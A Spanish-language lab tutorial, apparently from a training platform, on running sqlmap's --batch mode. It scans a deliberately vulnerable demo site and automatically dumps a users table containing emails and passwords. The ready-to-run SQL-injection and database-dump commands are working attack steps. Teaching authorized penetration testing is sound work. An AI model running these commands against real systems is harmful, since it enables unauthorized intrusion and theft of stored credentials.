Introducción
En este laboratorio, explorará la potente función del modo --batch en sqlmap, una popular herramienta de pruebas de penetración de código abierto que automatiza el proceso de detección y explotación de fallos de inyección SQL. Si bien sqlmap es altamente interactivo por defecto, solicitando a menudo al usuario decisiones durante un escaneo, el modo --batch le permite ejecutar escaneos de forma desatendida eligiendo automáticamente la respuesta predeterminada a todas las indicaciones. Esto es particularmente útil para automatizar escaneos en scripts o para evaluaciones a gran escala donde la intervención manual no es práctica. Aprenderá la diferencia entre el escaneo interactivo y no interactivo, realizará un escaneo manual y luego aprovechará el modo --batch para automatizar el proceso, incluyendo un volcado completo de datos.
Comprender el escaneo interactivo vs. no interactivo
En este paso, comprenderá la diferencia fundamental entre el escaneo interactivo y no interactivo con sqlmap. Por defecto, sqlmap está diseñado para ser interactivo, lo que significa que hará pausas frecuentes durante un escaneo para solicitar al usuario información sobre varias decisiones, como si continuar con una prueba específica, usar una carga útil determinada o explotar una vulnerabilidad. Esta interactividad proporciona un control detallado, pero puede ser engorroso para tareas automatizadas. El escaneo no interactivo, por otro lado, permite a sqlmap tomar decisiones predeterminadas sin intervención del usuario, lo que lo hace adecuado para la creación de scripts y la automatización a gran escala.
Comencemos verificando la versión de sqlmap para asegurarnos de que esté instalada correctamente.
sqlmap --version
Debería ver una salida similar a esta, indicando que sqlmap está listo:
sqlmap version: 1.x.x.x (rXXXX)
Ahora, veamos brevemente el menú de ayuda para ver la bandera --batch.
sqlmap --help | grep batch
Verá una salida similar a:
--batch Never ask for user input, use the default behavior.
Esto confirma la existencia y el propósito de la bandera --batch.
Ejecutar un escaneo y responder a las indicaciones manualmente
En este paso, realizará un escaneo básico de sqlmap contra una URL vulnerable conocida sin usar la bandera --batch. Esto demostrará la naturaleza interactiva de sqlmap y las diversas indicaciones que presenta durante un escaneo. Deberá responder manualmente a estas indicaciones para continuar con el escaneo.
Utilizaremos una URL vulnerable disponible públicamente para esta demostración. Tenga en cuenta que en un escenario del mundo real, solo debe realizar escaneos en sistemas para los que tenga permiso explícito para probar.
Ejecute el siguiente comando de sqlmap. Preste mucha atención a las preguntas que hace sqlmap y a cómo necesita responder.
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1"
A medida que el escaneo progresa, sqlmap probablemente le hará varias preguntas. Por ejemplo:
do you want to keep testing the others (if any)? [y/N]- Puede presionarN(No) y luegoEnter.sqlmap detected that the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSs? [Y/n]- Puede presionarY(Yes) y luegoEnter.for the remaining tests, do you want to include all tests for 'MySQL', extend provided level and risk values? [Y/n]- Puede presionarY(Yes) y luegoEnter.
Las indicaciones exactas pueden variar según la versión de sqlmap y la respuesta del objetivo. La clave es observar que sqlmap requiere su entrada para continuar.
Después de que el escaneo se complete, sqlmap informará sobre cualquier vulnerabilidad detectada.
---
[XX:XX:XX] [INFO] testing connection to the target URL
[XX:XX:XX] [INFO] checking if the target is protected by some kind of WAF/IPS
[XX:XX:XX] [INFO] the target URL is stable
[XX:XX:XX] [INFO] testing if 'cat' parameter is dynamic
[XX:XX:XX] [INFO] confirming that 'cat' parameter is dynamic
[XX:XX:XX] [INFO] testing for SQL injection on parameter 'cat'
...
[XX:XX:XX] [INFO] parameter 'cat' is vulnerable.
...
---
Esta interacción manual resalta por qué la automatización es crucial para la eficiencia.
Usar la bandera --batch para respuestas predeterminadas automáticas
En este paso, volverá a ejecutar el escaneo de sqlmap, pero esta vez incluirá la bandera --batch. Esta bandera le indica a sqlmap que use automáticamente la respuesta predeterminada para cualquier indicación que encuentre, haciendo que el escaneo sea efectivamente no interactivo. Esto es increíblemente útil para la creación de scripts y la automatización de evaluaciones de vulnerabilidades.
Ejecute el siguiente comando, agregando la bandera --batch:
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --batch
Observe la salida. Notará que sqlmap procede con el escaneo sin detenerse para ninguna entrada del usuario. Todas las preguntas que aparecieron en el paso anterior ahora se responden automáticamente con sus valores predeterminados (generalmente 'sí' o 'no' según el contexto).
La salida fluirá continuamente, similar a esto:
---
[XX:XX:XX] [INFO] testing connection to the target URL
[XX:XX:XX] [INFO] checking if the target is protected by some kind of WAF/IPS
[XX:XX:XX] [INFO] the target URL is stable
[XX:XX:XX] [INFO] testing if 'cat' parameter is dynamic
[XX:XX:XX] [INFO] confirming that 'cat' parameter is dynamic
[XX:XX:XX] [INFO] testing for SQL injection on parameter 'cat'
...
[XX:XX:XX] [INFO] parameter 'cat' is vulnerable.
...
---
Esto demuestra el poder del modo --batch para operaciones desatendidas.
Ejecutar un volcado completo de datos en modo batch
En este paso, combinará la bandera --batch con otras opciones de sqlmap para realizar una operación más avanzada: volcar todos los datos de la base de datos, todo de forma automatizada. Esto demuestra cómo el modo --batch permite tareas de explotación complejas sin intervención manual.
Utilizaremos las opciones --dbs (enumerar bases de datos), --tables (enumerar tablas), --columns (enumerar columnas) y --dump (volcar entradas) para extraer información. Dado que estamos usando --batch, sqlmap confirmará automáticamente cualquier indicación relacionada con estas operaciones.
Primero, intentemos enumerar las bases de datos en modo batch:
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --batch
Debería ver que sqlmap identifica automáticamente las bases de datos sin pedir confirmación. La salida listará las bases de datos encontradas, por ejemplo:
---
[XX:XX:XX] [INFO] fetching database names
available databases [2]:
[*] acuart
[*] information_schema
---
Ahora, intentemos volcar todos los datos de la base de datos acuart. Esto implicará enumerar tablas y luego columnas, y finalmente volcar los datos.
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --dump --batch
Este comando instruirá a sqlmap a:
- Apuntar a la base de datos
acuart(-D acuart). - Volcar todos los datos (
--dump). - Hacerlo en modo batch (
--batch), lo que significa que responderá automáticamente "sí" a indicaciones como "¿desea volcar todas las tablas?" o "¿desea almacenar hashes en un archivo?".
La salida mostrará a sqlmap enumerando tablas, luego columnas y finalmente volcando los datos, todo sin ninguna indicación. Este proceso puede llevar algún tiempo dependiendo de la cantidad de datos.
---
[XX:XX:XX] [INFO] fetching tables for database 'acuart'
[XX:XX:XX] [INFO] fetching columns for table 'users' in database 'acuart'
[XX:XX:XX] [INFO] dumping table 'users' of database 'acuart'
...
+----+----------+----------+----------+
| id | email | password | uname |
+----+----------+----------+----------+
| 1 | test@test.com | test | test |
| 2 | admin@admin.com | admin | admin |
...
+----+----------+----------+----------+
---
Esto demuestra la capacidad de automatización completa de sqlmap con el modo --batch para la extracción de datos.
Revisar los resultados del escaneo desatendido
En este paso final, revisará los resultados de los escaneos desatendidos realizados utilizando el modo --batch. sqlmap almacena sus hallazgos, incluidos los datos volcados, en un directorio de salida designado. Comprender dónde se almacenan estos resultados es crucial para el análisis posterior a la explotación y la generación de informes.
Por defecto, sqlmap crea un directorio de salida en ~/.sqlmap/output/ (o /root/.sqlmap/output/ si se ejecuta como root, pero en este laboratorio, es ~/.sqlmap/output/). Dentro de este directorio, habrá subdirectorios con nombres correspondientes al host de destino.
Primero, navegue al directorio de salida de sqlmap:
cd ~/.sqlmap/output/
Ahora, liste el contenido de este directorio para encontrar la carpeta del host de destino:
ls -F
Debería ver un directorio llamado testphp.vulnweb.com/ o similar.
testphp.vulnweb.com/
Navegue al directorio del destino:
cd testphp.vulnweb.com/
Liste el contenido nuevamente. Encontrará varios archivos y directorios que contienen los resultados del escaneo, incluidos archivos de registro, datos volcados y otros hallazgos potenciales.
ls -F
Es posible que vea archivos como log, session.sqlite y directorios como dump/.
dump/ log session.sqlite target.txt
Ahora, veamos el directorio dump para ver los datos extraídos:
ls -F dump/
Debería ver un directorio para la base de datos acuart, y dentro de él, archivos que corresponden a las tablas volcadas (por ejemplo, users.csv).
dump/acuart/
Finalmente, puede ver el contenido de un archivo volcado, por ejemplo, el archivo users.csv:
cat dump/acuart/users.csv
Esto mostrará los datos que sqlmap extrajo de la tabla users, confirmando el éxito de su volcado de datos automatizado.
id,email,password,uname
1,test@test.com,test,test
2,admin@admin.com,admin,admin
...
Esto concluye el laboratorio sobre la automatización de escaneos de sqlmap con el modo batch. Ha realizado con éxito escaneos interactivos y no interactivos y ha extraído datos de forma automatizada.
Resumen
En este laboratorio, adquirió experiencia práctica con el modo --batch de sqlmap, una característica crucial para automatizar las evaluaciones de vulnerabilidades de inyección SQL. Comenzó comprendiendo la diferencia entre el escaneo interactivo y no interactivo, observando cómo sqlmap normalmente solicita la entrada del usuario. Luego ejecutó con éxito escaneos utilizando la bandera --batch, demostrando cómo agiliza el proceso al proporcionar automáticamente respuestas predeterminadas a todas las indicaciones. Finalmente, realizó un volcado de datos automatizado y aprendió a localizar y revisar los resultados almacenados por sqlmap en su directorio de salida. Este conocimiento es fundamental para integrar sqlmap en canalizaciones de pruebas de seguridad automatizadas y para un análisis eficiente de vulnerabilidades a gran escala.


